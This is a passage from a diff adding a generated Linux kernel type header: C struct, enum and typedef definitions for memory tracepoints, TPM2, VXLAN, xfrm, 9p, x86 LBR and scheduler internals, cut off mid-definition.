+ long unsigned int gfp_flags; + int node; + bool accounted; + char __data[0]; +}; + +struct trace_event_raw_kmalloc { + struct trace_entry ent; + long unsigned int call_site; + const void *ptr; + size_t bytes_req; + size_t bytes_alloc; + long unsigned int gfp_flags; + int node; + char __data[0]; +}; + +struct trace_event_raw_kfree { + struct trace_entry ent; + long unsigned int call_site; + const void *ptr; + char __data[0]; +}; + +struct trace_event_raw_kmem_cache_free { + struct trace_entry ent; + long unsigned int call_site; + const void *ptr; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_mm_page_free { + struct trace_entry ent; + long unsigned int pfn; + unsigned int order; + char __data[0]; +}; + +struct trace_event_raw_mm_page_free_batched { + struct trace_entry ent; + long unsigned int pfn; + char __data[0]; +}; + +struct trace_event_raw_mm_page_alloc { + struct trace_entry ent; + long unsigned int pfn; + unsigned int order; + long unsigned int gfp_flags; + int migratetype; + char __data[0]; +}; + +struct trace_event_raw_mm_page { + struct trace_entry ent; + long unsigned int pfn; + unsigned int order; + int migratetype; + int percpu_refill; + char __data[0]; +}; + +struct trace_event_raw_mm_page_pcpu_drain { + struct trace_entry ent; + long unsigned int pfn; + unsigned int order; + int migratetype; + char __data[0]; +}; + +struct trace_event_raw_mm_page_alloc_extfrag { + struct trace_entry ent; + long unsigned int pfn; + int alloc_order; + int fallback_order; + int alloc_migratetype; + int fallback_migratetype; + int change_ownership; + char __data[0]; +}; + +struct trace_event_raw_rss_stat { + struct trace_entry ent; + unsigned int mm_id; + unsigned int curr; + int member; + long int size; + char __data[0]; +}; + +struct trace_event_data_offsets_kmem_cache_alloc {}; + +struct trace_event_data_offsets_kmalloc {}; + +struct trace_event_data_offsets_kfree {}; + +struct trace_event_data_offsets_kmem_cache_free { + u32 name; +}; + +struct trace_event_data_offsets_mm_page_free {}; + +struct trace_event_data_offsets_mm_page_free_batched {}; + +struct trace_event_data_offsets_mm_page_alloc {}; + +struct trace_event_data_offsets_mm_page {}; + +struct trace_event_data_offsets_mm_page_pcpu_drain {}; + +struct trace_event_data_offsets_mm_page_alloc_extfrag {}; + +struct trace_event_data_offsets_rss_stat {}; + +typedef void (*btf_trace_kmem_cache_alloc)(void *, long unsigned int, const void *, struct kmem_cache *, gfp_t, int); + +typedef void (*btf_trace_kmalloc)(void *, long unsigned int, const void *, size_t, size_t, gfp_t, int); + +typedef void (*btf_trace_kfree)(void *, long unsigned int, const void *); + +typedef void (*btf_trace_kmem_cache_free)(void *, long unsigned int, const void *, const struct kmem_cache *); + +typedef void (*btf_trace_mm_page_free)(void *, struct page *, unsigned int); + +typedef void (*btf_trace_mm_page_free_batched)(void *, struct page *); + +typedef void (*btf_trace_mm_page_alloc)(void *, struct page *, unsigned int, gfp_t, int); + +typedef void (*btf_trace_mm_page_alloc_zone_locked)(void *, struct page *, unsigned int, int, int); + +typedef void (*btf_trace_mm_page_pcpu_drain)(void *, struct page *, unsigned int, int); + +typedef void (*btf_trace_mm_page_alloc_extfrag)(void *, struct page *, int, int, int, int); + +typedef void (*btf_trace_rss_stat)(void *, struct mm_struct *, int); + +enum vmpressure_levels { + VMPRESSURE_LOW = 0, + VMPRESSURE_MEDIUM = 1, + VMPRESSURE_CRITICAL = 2, + VMPRESSURE_NUM_LEVELS = 3, +}; + +enum vmpressure_modes { + VMPRESSURE_NO_PASSTHROUGH = 0, + VMPRESSURE_HIERARCHY = 1, + VMPRESSURE_LOCAL = 2, + VMPRESSURE_NUM_MODES = 3, +}; + +struct vmpressure_event { + struct eventfd_ctx *efd; + enum vmpressure_levels level; + enum vmpressure_modes mode; + struct list_head node; +}; + +typedef struct { + long unsigned int fds_bits[16]; +} __kernel_fd_set; + +typedef __kernel_fd_set fd_set; + +struct poll_table_entry { + struct file *filp; + __poll_t key; + wait_queue_entry_t wait; + wait_queue_head_t *wait_address; +}; + +struct poll_table_page; + +struct poll_wqueues { + poll_table pt; + struct poll_table_page *table; + struct task_struct *polling_task; + int triggered; + int error; + int inline_index; + struct poll_table_entry inline_entries[9]; +}; + +struct poll_table_page { + struct poll_table_page *next; + struct poll_table_entry *entry; + struct poll_table_entry entries[0]; +}; + +enum poll_time_type { + PT_TIMEVAL = 0, + PT_OLD_TIMEVAL = 1, + PT_TIMESPEC = 2, + PT_OLD_TIMESPEC = 3, +}; + +typedef struct { + long unsigned int *in; + long unsigned int *out; + long unsigned int *ex; + long unsigned int *res_in; + long unsigned int *res_out; + long unsigned int *res_ex; +} fd_set_bits; + +struct sigset_argpack { + sigset_t *p; + size_t size; +}; + +struct poll_list { + struct poll_list *next; + int len; + struct pollfd entries[0]; +}; + +struct inotify_event { + __s32 wd; + __u32 mask; + __u32 cookie; + __u32 len; + char name[0]; +}; + +struct dotl_openflag_map { + int open_flag; + int dotl_flag; +}; + +struct dotl_iattr_map { + int iattr_valid; + int p9_iattr_valid; +}; + +struct policy_data { + struct policydb *p; + void *fp; +}; + +struct cond_insertf_data { + struct policydb *p; + struct avtab_node **dst; + struct cond_av_list *other; +}; + +struct kpp_request { + struct crypto_async_request base; + struct scatterlist *src; + struct scatterlist *dst; + unsigned int src_len; + unsigned int dst_len; + void *__ctx[0]; +}; + +struct mac_partition { + __be16 signature; + __be16 res1; + __be32 map_count; + __be32 start_block; + __be32 block_count; + char name[32]; + char type[32]; + __be32 data_start; + __be32 data_count; + __be32 status; + __be32 boot_start; + __be32 boot_size; + __be32 boot_load; + __be32 boot_load2; + __be32 boot_entry; + __be32 boot_entry2; + __be32 boot_cksum; + char processor[16]; +}; + +struct mac_driver_desc { + __be16 signature; + __be16 block_size; + __be32 block_count; +}; + +struct io_overflow_cqe { + struct list_head list; + struct io_uring_cqe cqe; +}; + +struct fb_cmap_user { + __u32 start; + __u32 len; + __u16 *red; + __u16 *green; + __u16 *blue; + __u16 *transp; +}; + +struct acpi_table_bert { + struct acpi_table_header header; + u32 region_length; + u64 address; +}; + +struct acpi_table_ccel { + struct acpi_table_header header; + u8 CCtype; + u8 Ccsub_type; + u16 reserved; + u64 log_area_minimum_length; + u64 log_area_start_address; +}; + +struct acpi_table_attr { + struct bin_attribute attr; + char name[4]; + int instance; + char filename[8]; + struct list_head node; +}; + +struct acpi_data_attr { + struct bin_attribute attr; + u64 addr; +}; + +struct acpi_data_obj { + char *name; + int (*fn)(void *, struct acpi_data_attr *); +}; + +struct event_counter { + u32 count; + u32 flags; +}; + +typedef short unsigned int ushort; + +struct console_font_op { + unsigned int op; + unsigned int flags; + unsigned int width; + unsigned int height; + unsigned int charcount; + unsigned char *data; +}; + +enum translation_map { + LAT1_MAP = 0, + GRAF_MAP = 1, + IBMPC_MAP = 2, + USER_MAP = 3, + FIRST_MAP = 0, + LAST_MAP = 3, +}; + +struct con_driver { + const struct consw *con; + const char *desc; + struct device *dev; + int node; + int first; + int last; + int flag; +}; + +enum { + blank_off = 0, + blank_normal_wait = 1, + blank_vesa_wait = 2, +}; + +enum { + EPecma = 0, + EPdec = 1, + EPeq = 2, + EPgt = 3, + EPlt = 4, +}; + +struct rgb { + u8 r; + u8 g; + u8 b; +}; + +enum { + ESnormal = 0, + ESesc = 1, + ESsquare = 2, + ESgetpars = 3, + ESfunckey = 4, + EShash = 5, + ESsetG0 = 6, + ESsetG1 = 7, + ESpercent = 8, + EScsiignore = 9, + ESnonstd = 10, + ESpalette = 11, + ESosc = 12, + ESapc = 13, + ESpm = 14, + ESdcs = 15, +}; + +struct interval { + uint32_t first; + uint32_t last; +}; + +struct vc_draw_region { + long unsigned int from; + long unsigned int to; + int x; +}; + +enum tpm2_const { + TPM2_PLATFORM_PCR = 24, + TPM2_PCR_SELECT_MIN = 3, +}; + +enum tpm2_timeouts { + TPM2_TIMEOUT_A = 750, + TPM2_TIMEOUT_B = 2000, + TPM2_TIMEOUT_C = 200, + TPM2_TIMEOUT_D = 30, + TPM2_DURATION_SHORT = 20, + TPM2_DURATION_MEDIUM = 750, + TPM2_DURATION_LONG = 2000, + TPM2_DURATION_LONG_LONG = 300000, + TPM2_DURATION_DEFAULT = 120000, +}; + +enum tpm2_structures { + TPM2_ST_NO_SESSIONS = 32769, + TPM2_ST_SESSIONS = 32770, +}; + +enum tpm2_return_codes { + TPM2_RC_SUCCESS = 0, + TPM2_RC_HASH = 131, + TPM2_RC_HANDLE = 139, + TPM2_RC_INITIALIZE = 256, + TPM2_RC_FAILURE = 257, + TPM2_RC_DISABLED = 288, + TPM2_RC_UPGRADE = 301, + TPM2_RC_COMMAND_CODE = 323, + TPM2_RC_TESTING = 2314, + TPM2_RC_REFERENCE_H0 = 2320, + TPM2_RC_RETRY = 2338, +}; + +enum tpm2_command_codes { + TPM2_CC_FIRST = 287, + TPM2_CC_HIERARCHY_CONTROL = 289, + TPM2_CC_HIERARCHY_CHANGE_AUTH = 297, + TPM2_CC_CREATE_PRIMARY = 305, + TPM2_CC_SEQUENCE_COMPLETE = 318, + TPM2_CC_SELF_TEST = 323, + TPM2_CC_STARTUP = 324, + TPM2_CC_SHUTDOWN = 325, + TPM2_CC_NV_READ = 334, + TPM2_CC_CREATE = 339, + TPM2_CC_LOAD = 343, + TPM2_CC_SEQUENCE_UPDATE = 348, + TPM2_CC_UNSEAL = 350, + TPM2_CC_CONTEXT_LOAD = 353, + TPM2_CC_CONTEXT_SAVE = 354, + TPM2_CC_FLUSH_CONTEXT = 357, + TPM2_CC_VERIFY_SIGNATURE = 375, + TPM2_CC_GET_CAPABILITY = 378, + TPM2_CC_GET_RANDOM = 379, + TPM2_CC_PCR_READ = 382, + TPM2_CC_PCR_EXTEND = 386, + TPM2_CC_EVENT_SEQUENCE_COMPLETE = 389, + TPM2_CC_HASH_SEQUENCE_START = 390, + TPM2_CC_CREATE_LOADED = 401, + TPM2_CC_LAST = 403, +}; + +enum tpm2_permanent_handles { + TPM2_RS_PW = 1073741833, +}; + +enum tpm2_capabilities { + TPM2_CAP_HANDLES = 1, + TPM2_CAP_COMMANDS = 2, + TPM2_CAP_PCRS = 5, + TPM2_CAP_TPM_PROPERTIES = 6, +}; + +enum tpm2_properties { + TPM_PT_TOTAL_COMMANDS = 297, +}; + +enum tpm2_startup_types { + TPM2_SU_CLEAR = 0, + TPM2_SU_STATE = 1, +}; + +enum tpm2_cc_attrs { + TPM2_CC_ATTR_CHANDLES = 25, + TPM2_CC_ATTR_RHANDLE = 28, + TPM2_CC_ATTR_VENDOR = 29, +}; + +struct tpm2_hash { + unsigned int crypto_id; + unsigned int tpm_id; +}; + +struct tpm2_pcr_read_out { + __be32 update_cnt; + __be32 pcr_selects_cnt; + __be16 hash_alg; + u8 pcr_select_size; + u8 pcr_select[3]; + __be32 digests_cnt; + __be16 digest_size; + u8 digest[0]; +} __attribute__((packed)); + +struct tpm2_null_auth_area { + __be32 handle; + __be16 nonce_size; + u8 attributes; + __be16 auth_size; +} __attribute__((packed)); + +struct tpm2_get_random_out { + __be16 size; + u8 buffer[128]; +}; + +struct tpm2_get_cap_out { + u8 more_data; + __be32 subcap_id; + __be32 property_cnt; + __be32 property_id; + __be32 value; +} __attribute__((packed)); + +struct tpm2_pcr_selection { + __be16 hash_alg; + u8 size_of_select; + u8 pcr_select[3]; +}; + +struct device_attach_data { + struct device *dev; + bool check_async; + bool want_async; + bool have_async; +}; + +enum { + MDBA_UNSPEC = 0, + MDBA_MDB = 1, + MDBA_ROUTER = 2, + __MDBA_MAX = 3, +}; + +enum { + MDBA_MDB_UNSPEC = 0, + MDBA_MDB_ENTRY = 1, + __MDBA_MDB_MAX = 2, +}; + +enum { + MDBA_MDB_ENTRY_UNSPEC = 0, + MDBA_MDB_ENTRY_INFO = 1, + __MDBA_MDB_ENTRY_MAX = 2, +}; + +enum { + MDBA_MDB_EATTR_UNSPEC = 0, + MDBA_MDB_EATTR_TIMER = 1, + MDBA_MDB_EATTR_SRC_LIST = 2, + MDBA_MDB_EATTR_GROUP_MODE = 3, + MDBA_MDB_EATTR_SOURCE = 4, + MDBA_MDB_EATTR_RTPROT = 5, + MDBA_MDB_EATTR_DST = 6, + MDBA_MDB_EATTR_DST_PORT = 7, + MDBA_MDB_EATTR_VNI = 8, + MDBA_MDB_EATTR_IFINDEX = 9, + MDBA_MDB_EATTR_SRC_VNI = 10, + __MDBA_MDB_EATTR_MAX = 11, +}; + +enum { + MDBA_MDB_SRCLIST_UNSPEC = 0, + MDBA_MDB_SRCLIST_ENTRY = 1, + __MDBA_MDB_SRCLIST_MAX = 2, +}; + +enum { + MDBA_MDB_SRCATTR_UNSPEC = 0, + MDBA_MDB_SRCATTR_ADDRESS = 1, + MDBA_MDB_SRCATTR_TIMER = 2, + __MDBA_MDB_SRCATTR_MAX = 3, +}; + +enum { + MDBE_ATTR_UNSPEC = 0, + MDBE_ATTR_SOURCE = 1, + MDBE_ATTR_SRC_LIST = 2, + MDBE_ATTR_GROUP_MODE = 3, + MDBE_ATTR_RTPROT = 4, + MDBE_ATTR_DST = 5, + MDBE_ATTR_DST_PORT = 6, + MDBE_ATTR_VNI = 7, + MDBE_ATTR_IFINDEX = 8, + MDBE_ATTR_SRC_VNI = 9, + __MDBE_ATTR_MAX = 10, +}; + +enum { + MDBE_SRC_LIST_UNSPEC = 0, + MDBE_SRC_LIST_ENTRY = 1, + __MDBE_SRC_LIST_MAX = 2, +}; + +enum { + MDBE_SRCATTR_UNSPEC = 0, + MDBE_SRCATTR_ADDRESS = 1, + __MDBE_SRCATTR_MAX = 2, +}; + +struct vxlan_mdb_entry_key { + union vxlan_addr src; + union vxlan_addr dst; + __be32 vni; +}; + +struct vxlan_mdb_entry { + struct rhash_head rhnode; + struct list_head remotes; + struct vxlan_mdb_entry_key key; + struct hlist_node mdb_node; + struct callback_head rcu; +}; + +struct vxlan_mdb_remote { + struct list_head list; + struct vxlan_rdst *rd; + u8 flags; + u8 filter_mode; + u8 rt_protocol; + struct hlist_head src_list; + struct callback_head rcu; +}; + +struct vxlan_mdb_src_entry { + struct hlist_node node; + union vxlan_addr addr; + u8 flags; +}; + +struct vxlan_mdb_dump_ctx { + long int reserved; + long int entry_idx; + long int remote_idx; +}; + +struct vxlan_mdb_config_src_entry { + union vxlan_addr addr; + struct list_head node; +}; + +struct vxlan_mdb_config { + struct vxlan_dev *vxlan; + struct vxlan_mdb_entry_key group; + struct list_head src_list; + union vxlan_addr remote_ip; + u32 remote_ifindex; + __be32 remote_vni; + __be16 remote_port; + u16 nlflags; + u8 flags; + u8 filter_mode; + u8 rt_protocol; +}; + +struct virtio_crypto_config { + __le32 status; + __le32 max_dataqueues; + __le32 crypto_services; + __le32 cipher_algo_l; + __le32 cipher_algo_h; + __le32 hash_algo; + __le32 mac_algo_l; + __le32 mac_algo_h; + __le32 aead_algo; + __le32 max_cipher_key_len; + __le32 max_auth_key_len; + __le32 akcipher_algo; + __le64 max_size; +}; + +struct user_msghdr { + void *msg_name; + int msg_namelen; + struct iovec *msg_iov; + __kernel_size_t msg_iovlen; + void *msg_control; + __kernel_size_t msg_controllen; + unsigned int msg_flags; +}; + +struct mmsghdr { + struct user_msghdr msg_hdr; + unsigned int msg_len; +}; + +enum sock_shutdown_cmd { + SHUT_RD = 0, + SHUT_WR = 1, + SHUT_RDWR = 2, +}; + +struct scm_ts_pktinfo { + __u32 if_index; + __u32 pkt_length; + __u32 reserved[2]; +}; + +typedef u32 compat_size_t; + +typedef s32 compat_int_t; + +typedef u32 compat_uint_t; + +typedef u32 compat_ulong_t; + +typedef u32 compat_uptr_t; + +typedef u32 compat_caddr_t; + +struct compat_ifmap { + compat_ulong_t mem_start; + compat_ulong_t mem_end; + short unsigned int base_addr; + unsigned char irq; + unsigned char dma; + unsigned char port; +}; + +struct compat_if_settings { + unsigned int type; + unsigned int size; + compat_uptr_t ifs_ifsu; +}; + +struct compat_ifreq { + union { + char ifrn_name[16]; + } ifr_ifrn; + union { + struct sockaddr ifru_addr; + struct sockaddr ifru_dstaddr; + struct sockaddr ifru_broadaddr; + struct sockaddr ifru_netmask; + struct sockaddr ifru_hwaddr; + short int ifru_flags; + compat_int_t ifru_ivalue; + compat_int_t ifru_mtu; + struct compat_ifmap ifru_map; + char ifru_slave[16]; + char ifru_newname[16]; + compat_caddr_t ifru_data; + struct compat_if_settings ifru_settings; + } ifr_ifru; +}; + +struct compat_msghdr { + compat_uptr_t msg_name; + compat_int_t msg_namelen; + compat_uptr_t msg_iov; + compat_size_t msg_iovlen; + compat_uptr_t msg_control; + compat_size_t msg_controllen; + compat_uint_t msg_flags; +}; + +struct compat_mmsghdr { + struct compat_msghdr msg_hdr; + compat_uint_t msg_len; +}; + +struct net_bridge; + +struct used_address { + struct __kernel_sockaddr_storage name; + unsigned int name_len; +}; + +enum { + ETHTOOL_A_BITSET_BIT_UNSPEC = 0, + ETHTOOL_A_BITSET_BIT_INDEX = 1, + ETHTOOL_A_BITSET_BIT_NAME = 2, + ETHTOOL_A_BITSET_BIT_VALUE = 3, + __ETHTOOL_A_BITSET_BIT_CNT = 4, + ETHTOOL_A_BITSET_BIT_MAX = 3, +}; + +enum { + ETHTOOL_A_BITSET_BITS_UNSPEC = 0, + ETHTOOL_A_BITSET_BITS_BIT = 1, + __ETHTOOL_A_BITSET_BITS_CNT = 2, + ETHTOOL_A_BITSET_BITS_MAX = 1, +}; + +enum { + ETHTOOL_A_BITSET_UNSPEC = 0, + ETHTOOL_A_BITSET_NOMASK = 1, + ETHTOOL_A_BITSET_SIZE = 2, + ETHTOOL_A_BITSET_BITS = 3, + ETHTOOL_A_BITSET_VALUE = 4, + ETHTOOL_A_BITSET_MASK = 5, + __ETHTOOL_A_BITSET_CNT = 6, + ETHTOOL_A_BITSET_MAX = 5, +}; + +typedef const char (* const ethnl_string_array_t)[32]; + +enum { + XT_CONNMARK_SET = 0, + XT_CONNMARK_SAVE = 1, + XT_CONNMARK_RESTORE = 2, +}; + +enum { + D_SHIFT_LEFT = 0, + D_SHIFT_RIGHT = 1, +}; + +struct xt_connmark_tginfo1 { + __u32 ctmark; + __u32 ctmask; + __u32 nfmask; + __u8 mode; +}; + +struct xt_connmark_tginfo2 { + __u32 ctmark; + __u32 ctmask; + __u32 nfmask; + __u8 shift_dir; + __u8 shift_bits; + __u8 mode; +}; + +struct xt_connmark_mtinfo1 { + __u32 mark; + __u32 mask; + __u8 invert; +}; + +struct ip_tunnel_net { + struct net_device *fb_tunnel_dev; + struct rtnl_link_ops *rtnl_link_ops; + struct hlist_head tunnels[128]; + struct ip_tunnel *collect_md_tun; + int type; +}; + +struct xfrm_kmaddress { + xfrm_address_t local; + xfrm_address_t remote; + u32 reserved; + u16 family; +}; + +struct xfrm_migrate { + xfrm_address_t old_daddr; + xfrm_address_t old_saddr; + xfrm_address_t new_daddr; + xfrm_address_t new_saddr; + u8 proto; + u8 mode; + u16 reserved; + u32 reqid; + u16 old_family; + u16 new_family; +}; + +struct xfrm_mgr { + struct list_head list; + int (*notify)(struct xfrm_state *, const struct km_event *); + int (*acquire)(struct xfrm_state *, struct xfrm_tmpl *, struct xfrm_policy *); + struct xfrm_policy * (*compile_policy)(struct sock *, int, u8 *, int, int *); + int (*new_mapping)(struct xfrm_state *, xfrm_address_t *, __be16); + int (*notify_policy)(struct xfrm_policy *, int, const struct km_event *); + int (*report)(struct net *, u8, struct xfrm_selector *, xfrm_address_t *); + int (*migrate)(const struct xfrm_selector *, u8, u8, const struct xfrm_migrate *, int, const struct xfrm_kmaddress *, const struct xfrm_encap_tmpl *); + bool (*is_alive)(const struct km_event *); +}; + +struct xfrmk_sadinfo { + u32 sadhcnt; + u32 sadhmcnt; + u32 sadcnt; +}; + +struct xfrm_translator { + int (*alloc_compat)(struct sk_buff *, const struct nlmsghdr *); + struct nlmsghdr * (*rcv_msg_compat)(const struct nlmsghdr *, int, const struct nla_policy *, struct netlink_ext_ack *); + int (*xlate_user_policy_sockptr)(u8 **, int); + struct module *owner; +}; + +enum { + DEVLINK_FLASH_OVERWRITE_SETTINGS_BIT = 0, + DEVLINK_FLASH_OVERWRITE_IDENTIFIERS_BIT = 1, + __DEVLINK_FLASH_OVERWRITE_MAX_BIT = 2, + DEVLINK_FLASH_OVERWRITE_MAX_BIT = 1, +}; + +struct p9_fd_opts { + int rfd; + int wfd; + u16 port; + bool privport; +}; + +enum { + Opt_port = 0, + Opt_rfdno = 1, + Opt_wfdno = 2, + Opt_err___5 = 3, + Opt_privport = 4, +}; + +enum { + Rworksched = 1, + Rpending = 2, + Wworksched = 4, + Wpending = 8, +}; + +struct p9_conn; + +struct p9_poll_wait { + struct p9_conn *conn; + wait_queue_entry_t wait; + wait_queue_head_t *wait_addr; +}; + +struct p9_conn { + struct list_head mux_list; + struct p9_client *client; + int err; + spinlock_t req_lock; + struct list_head req_list; + struct list_head unsent_req_list; + struct p9_req_t *rreq; + struct p9_req_t *wreq; + char tmp_buf[7]; + struct p9_fcall rc; + int wpos; + int wsize; + char *wbuf; + struct list_head poll_pending_link; + struct p9_poll_wait poll_wait[2]; + poll_table pt; + struct work_struct rq; + struct work_struct wq; + long unsigned int wsched; +}; + +struct p9_trans_fd { + struct file *rd; + struct file *wr; + struct p9_conn conn; +}; + +struct join_entry { + u32 token; + u32 remote_nonce; + u32 local_nonce; + u8 join_id; + u8 local_id; + u8 backup; + u8 valid; +}; + +enum { + PERF_BR_SPEC_NA = 0, + PERF_BR_SPEC_WRONG_PATH = 1, + PERF_BR_NON_SPEC_CORRECT_PATH = 2, + PERF_BR_SPEC_CORRECT_PATH = 3, + PERF_BR_SPEC_MAX = 4, +}; + +struct lbr_entry { + u64 from; + u64 to; + u64 info; +}; + +struct arch_lbr_state { + u64 lbr_ctl; + u64 lbr_depth; + u64 ler_from; + u64 ler_to; + u64 ler_info; + struct lbr_entry entries[0]; +}; + +union cpuid28_eax { + struct { + unsigned int lbr_depth_mask: 8; + unsigned int reserved: 22; + unsigned int lbr_deep_c_reset: 1; + unsigned int lbr_lip: 1; + } split; + unsigned int full; +}; + +union cpuid28_ebx { + struct { + unsigned int lbr_cpl: 1; + unsigned int lbr_filter: 1; + unsigned int lbr_call_stack: 1; + } split; + unsigned int full; +}; + +union cpuid28_ecx { + struct { + unsigned int lbr_mispred: 1; + unsigned int lbr_timed_lbr: 1; + unsigned int lbr_br_type: 1; + } split; + unsigned int full; +}; + +struct x86_pmu_lbr { + unsigned int nr; + unsigned int from; + unsigned int to; + unsigned int info; +}; + +enum { + LBR_FORMAT_32 = 0, + LBR_FORMAT_LIP = 1, + LBR_FORMAT_EIP = 2, + LBR_FORMAT_EIP_FLAGS = 3, + LBR_FORMAT_EIP_FLAGS2 = 4, + LBR_FORMAT_INFO = 5, + LBR_FORMAT_TIME = 6, + LBR_FORMAT_INFO2 = 7, + LBR_FORMAT_MAX_KNOWN = 7, +}; + +struct x86_perf_task_context_opt { + int lbr_callstack_users; + int lbr_stack_state; + int log_id; +}; + +struct x86_perf_task_context { + u64 lbr_sel; + int tos; + int valid_lbrs; + struct x86_perf_task_context_opt opt; + struct lbr_entry lbr[32]; +}; + +struct x86_perf_task_context_arch_lbr { + struct x86_perf_task_context_opt opt; + struct lbr_entry entries[0]; +}; + +struct x86_perf_task_context_arch_lbr_xsave { + struct x86_perf_task_context_opt opt; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + union { + struct xregs_state xsave; + struct { + struct fxregs_state i387; + struct xstate_header header; + struct arch_lbr_state lbr; + long: 64; + long: 64; + long: 64; + }; + }; +}; + +enum { + X86_BR_NONE = 0, + X86_BR_USER = 1, + X86_BR_KERNEL = 2, + X86_BR_CALL = 4, + X86_BR_RET = 8, + X86_BR_SYSCALL = 16, + X86_BR_SYSRET = 32, + X86_BR_INT = 64, + X86_BR_IRET = 128, + X86_BR_JCC = 256, + X86_BR_JMP = 512, + X86_BR_IRQ = 1024, + X86_BR_IND_CALL = 2048, + X86_BR_ABORT = 4096, + X86_BR_IN_TX = 8192, + X86_BR_NO_TX = 16384, + X86_BR_ZERO_CALL = 32768, + X86_BR_CALL_STACK = 65536, + X86_BR_IND_JMP = 131072, + X86_BR_TYPE_SAVE = 262144, +}; + +enum { + LBR_NONE = 0, + LBR_VALID = 1, +}; + +enum { + ARCH_LBR_BR_TYPE_JCC = 0, + ARCH_LBR_BR_TYPE_NEAR_IND_JMP = 1, + ARCH_LBR_BR_TYPE_NEAR_REL_JMP = 2, + ARCH_LBR_BR_TYPE_NEAR_IND_CALL = 3, + ARCH_LBR_BR_TYPE_NEAR_REL_CALL = 4, + ARCH_LBR_BR_TYPE_NEAR_RET = 5, + ARCH_LBR_BR_TYPE_KNOWN_MAX = 5, + ARCH_LBR_BR_TYPE_MAP_MAX = 16, +}; + +enum allow_write_msrs { + MSR_WRITES_ON = 0, + MSR_WRITES_OFF = 1, + MSR_WRITES_DEFAULT = 2, +}; + +typedef int (*task_call_f)(struct task_struct *, void *); + +struct dl_bw { + raw_spinlock_t lock; + u64 bw; + u64 total_bw; +}; + +struct cpudl_item; + +struct cpudl { + raw_spinlock_t lock; + int size; + cpumask_var_t free_cpus; + struct cpudl_item *elements; +}; + +struct cpupri_vec { + atomic_t count; + cpumask_var_t mask; +}; + +struct cpupri { + struct cpupri_vec pri_to_cpu[101]; + int *cpu_to_pri; +}; + +struct perf_domain; + +struct root_domain { + atomic_t refcount; + atomic_t rto_count; + struct callback_head rcu; + cpumask_var_t span; + cpumask_var_t online; + int overload; + int overutilized; + cpumask_var_t dlo_mask; + atomic_t dlo_count; + struct dl_bw dl_bw; + struct cpudl cpudl; + u64 visit_gen; + struct irq_work rto_push_work; + raw_spinlock_t rto_lock; + int rto_loop; + int rto_cpu; + atomic_t rto_loop_next; + atomic_t rto_loop_start; + cpumask_var_t rto_mask; + struct cpupri cpupri; + long unsigned int max_cpu_capacity; + struct perf_domain *pd; +}; + +struct cfs_rq { + struct load_weight load; + unsigned int nr_running; + unsigned int h_nr_running; + unsigned int idle_nr_running; + unsigned int idle_h_nr_running; + u64 exec_clock; + u64 min_vruntime; + struct rb_root_cached tasks_timeline; + struct sched_entity *curr; + struct sched_entity *next; + struct sched_entity *last; + struct sched_entity *skip; + unsigned int nr_spread_over; + long: 64; + long: 64; + long: 64; + struct sched_avg avg; + struct { + raw_spinlock_t lock; + int nr; + long unsigned int load_avg; + long unsigned int util_avg; + long unsigned int runnable_avg; + long: 64; + long: 64; + long: 64; + long: 64; + } removed; + long unsigned int tg_load_avg_contrib; + long int propagate; + long int prop_runnable_sum; + long unsigned int h_load; + u64 last_h_load_update; + struct sched_entity *h_load_next; + struct rq *rq; + int on_list; + struct list_head leaf_cfs_rq_list; + struct task_group *tg; + int idle; + int runtime_enabled; + s64 runtime_remaining; + u64 throttled_pelt_idle; + u64 throttled_clock; + u64 throttled_clock_pelt; + u64 throttled_clock_pelt_time; + int throttled; + int throttle_count; + struct list_head throttled_list; + struct list_head throttled_csd_list; + long: 64; + long: 64; +}; + +struct cfs_bandwidth { + raw_spinlock_t lock; + ktime_t period; + u64 quota; + u64 runtime; + u64 burst; + u64 runtime_snap; + s64 hierarchical_quota; + u8 idle; + u8 period_active; + u8 slack_started; + struct hrtimer period_timer; + struct hrtimer slack_timer; + struct list_head throttled_cfs_rq; + int nr_periods; + int nr_throttled; + int nr_burst; + u64 throttled_time; + u64 burst_time; +}; + +struct task_group { + struct cgroup_subsys_state css; + struct sched_entity **se; + struct cfs_rq **cfs_rq; + long unsigned int shares; + int idle; + long: 64; + atomic_long_t load_avg; + struct callback_head rcu; + struct list_head list; + struct task_group *parent; + struct list_head siblings; + struct list_head children; + struct cfs_bandwidth cfs_bandwidth; + long: 64; +}; + +enum { + MEMBARRIER_STATE_PRIVATE_EXPEDITED_READY = 1, + MEMBARRIER_STATE_PRIVATE_EXPEDITED = 2, + MEMBARRIER_STATE_GLOBAL_EXPEDITED_READY = 4, + MEMBARRIER_STATE_GLOBAL_EXPEDITED = 8, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_SYNC_CORE_READY = 16, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_SYNC_CORE = 32, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_RSEQ_READY = 64, + MEMBARRIER_STATE_PRIVATE_EXPEDITED_RSEQ = 128, +}; + +struct sched_domain_shared { + atomic_t ref; + atomic_t nr_busy_cpus; + int has_idle_cores; + int nr_idle_scan; +}; + +struct sched_group; + +struct sched_domain { + struct sched_domain *parent; + struct sched_domain *child; + struct sched_group *groups; + long unsigned int min_interval; + long unsigned int max_interval; + unsigned int busy_factor; + unsigned int imbalance_pct; + unsigned int cache_nice_tries; + unsigned int imb_numa_nr; + int nohz_idle; + int flags; + int level; + long unsigned int last_balance; + unsigned int balance_interval; + unsigned int nr_balance_failed; + u64 max_newidle_lb_cost; + long unsigned int last_decay_max_lb_cost; + u64 avg_scan_cost; + unsigned int lb_count[3]; + unsigned int lb_failed[3]; + unsigned int lb_balanced[3]; + unsigned int lb_imbalance[3]; + unsigned int lb_gained[3]; + unsigned int lb_hot_gained[3]; + unsigned int lb_nobusyg[3]; + unsigned int lb_nobusyq[3]; + unsigned int alb_count; + unsigned int alb_failed; + unsigned int alb_pushed; + unsigned int sbe_count; + unsigned int sbe_balanced; + unsigned int sbe_pushed; + unsigned int sbf_count; + unsigned int sbf_balanced; + unsigned int sbf_pushed; + unsigned int ttwu_wake_remote; + unsigned int ttwu_move_affine; + unsigned int ttwu_move_balance; + char *name; + union { + void *private; + struct callback_head rcu; + }; + struct sched_domain_shared *shared; + unsigned int span_weight; + long unsigned int span[0]; +}; + +struct sched_group_capacity; + +struct sched_group { + struct sched_group *next; + atomic_t ref; + unsigned int group_weight; + struct sched_group_capacity *sgc; + int asym_prefer_cpu; + int flags; + long unsigned int cpumask[0]; +}; + +struct sched_group_capacity { + atomic_t ref; + long unsigned int capacity; + long unsigned int 